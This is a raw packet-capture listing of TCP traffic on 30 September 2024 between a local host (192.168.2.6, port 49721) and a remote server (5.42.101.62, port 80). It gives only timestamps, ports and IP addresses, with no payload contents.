Sep 30, 2024 13:59:23.093029976 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.093031883 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.093046904 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.093050003 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.093060017 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.093074083 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.093075991 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.093087912 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.093097925 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.093102932 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.093116999 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.093128920 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.093132973 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.093146086 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.093146086 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.093159914 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.093173981 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.093178034 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.093189001 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.093203068 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.093209028 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.093216896 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.093230009 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.093230009 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.093245029 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.093250990 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.093260050 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.093270063 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.093298912 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.174978018 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.175010920 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.175029993 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.175060987 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.175075054 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.175087929 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.175090075 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.175106049 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.175137997 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.175157070 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.175787926 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.175841093 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.175962925 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.175977945 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.175992012 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.176004887 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.176012993 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.176019907 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.176032066 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.176037073 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.176059961 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.176080942 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.176110029 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.176124096 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.176139116 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.176151037 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.176152945 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.176167011 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.176184893 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.176271915 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.176285982 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.176300049 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.176315069 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.176315069 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.176328897 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.176341057 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.176343918 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.176367998 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.176386118 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.176409006 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.176424026 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.176438093 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.176451921 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.176465034 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.176484108 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.176723957 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.176738977 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.176754951 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.176774025 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.176803112 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.176851034 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.176894903 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.177023888 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.177038908 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.177052975 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.177071095 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.177093983 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.179301023 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.179410934 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.179486990 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.179502010 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.179517031 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.179531097 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.179548025 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.179584980 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.179635048 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.179661989 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.179682016 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.179683924 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.179699898 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.179722071 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.179960966 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.179976940 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.179991961 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.180042982 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.180094004 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.180099964 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.180114031 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.180128098 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.180141926 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.180156946 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.180157900 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.180174112 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.180254936 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.180267096 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.180269003 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.180283070 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.180296898 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.180314064 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.180319071 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.180329084 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.180392981 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.181104898 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.181118965 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.181133032 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.181159973 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.181195974 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.181250095 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.181263924 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.181277990 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.181292057 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.181297064 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.181305885 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.181330919 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.181365013 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.181396961 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.181411028 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.181425095 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.181436062 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.181457996 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.181479931 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.181579113 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.181595087 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.181607008 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.181622028 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.181627989 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.181636095 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.181652069 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.181689978 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.181746960 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.181761026 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.181776047 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.181787968 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.181791067 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.181806087 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.181821108 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.181824923 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.181860924 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.182970047 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.182990074 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.183003902 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.183018923 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.183048010 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.183305025 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.183319092 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.183334112 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.183350086 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.183376074 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.183458090 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.183471918 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.183486938 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.183501005 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.183501959 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.183527946 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.183546066 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.183609962 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.183624029 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.183638096 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.183651924 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.183655024 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.183665991 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.183669090 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.183680058 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.183681965 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.183698893 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.183708906 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.183716059 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.183733940 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.183751106 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.183764935 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.183779001 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.183783054 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.183804989 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.183841944 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.183940887 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.183957100 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.183984041 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.183996916 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.184102058 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.184117079 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.184132099 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.184145927 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.184168100 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.184271097 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.184286118 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.184299946 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.184314013 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.184318066 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.184336901 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.184351921 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.184355974 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.184366941 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.184384108 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.184401989 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.184407949 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.184417963 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.184441090 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.184468031 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.265218019 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.265311003 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.265364885 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.265382051 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.265407085 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.265430927 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.265770912 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.265821934 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.265955925 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.265970945 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.265993118 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.266005993 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.266005993 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.266021967 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.266047955 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.267478943 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.267493963 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.267508030 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.267522097 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.267529011 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.267538071 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.267561913 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.267591000 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.267596006 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.267611027 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.267625093 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.267635107 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.267647982 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.267654896 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.267673016 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.267694950 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.267743111 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.267757893 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.267771959 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.267784119 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.267798901 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.267817974 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.267920017 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.267934084 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.267949104 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.267961979 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.267963886 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.267978907 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.267980099 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.267992973 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.267992973 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.268013954 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.268043041 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.268069029 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.268083096 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.268098116 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.268110037 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.268121004 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.268141985 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.268217087 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.268230915 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.268256903 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.268268108 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.268528938 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.268543005 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.268557072 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.268570900 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.268577099 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.268608093 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.268640995 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.268656969 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.268671989 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.268683910 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.268686056 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.268712044 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.268738031 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.270864964 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.270879030 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.270912886 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.270926952 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.270983934 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.271019936 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.271025896 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.271034002 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.271048069 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.271059036 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.271063089 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.271076918 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.271094084 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.271106958 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.271486044 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.271533966 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.271651030 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.271663904 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.271678925 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.271692038 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.271692991 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.271707058 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.271713972 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.271720886 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.271737099 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.271745920 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.271759033 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.271763086 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.271794081 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.271812916 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.271826982 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.271841049 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.271852970 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.271853924 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.271868944 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.271881104 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.271883011 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.271908998 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.271929026 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.271951914 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.271996021 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.272526979 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.272542000 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.272573948 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.272587061 CEST	49721	80	192.168.2.6	5.42.101.62
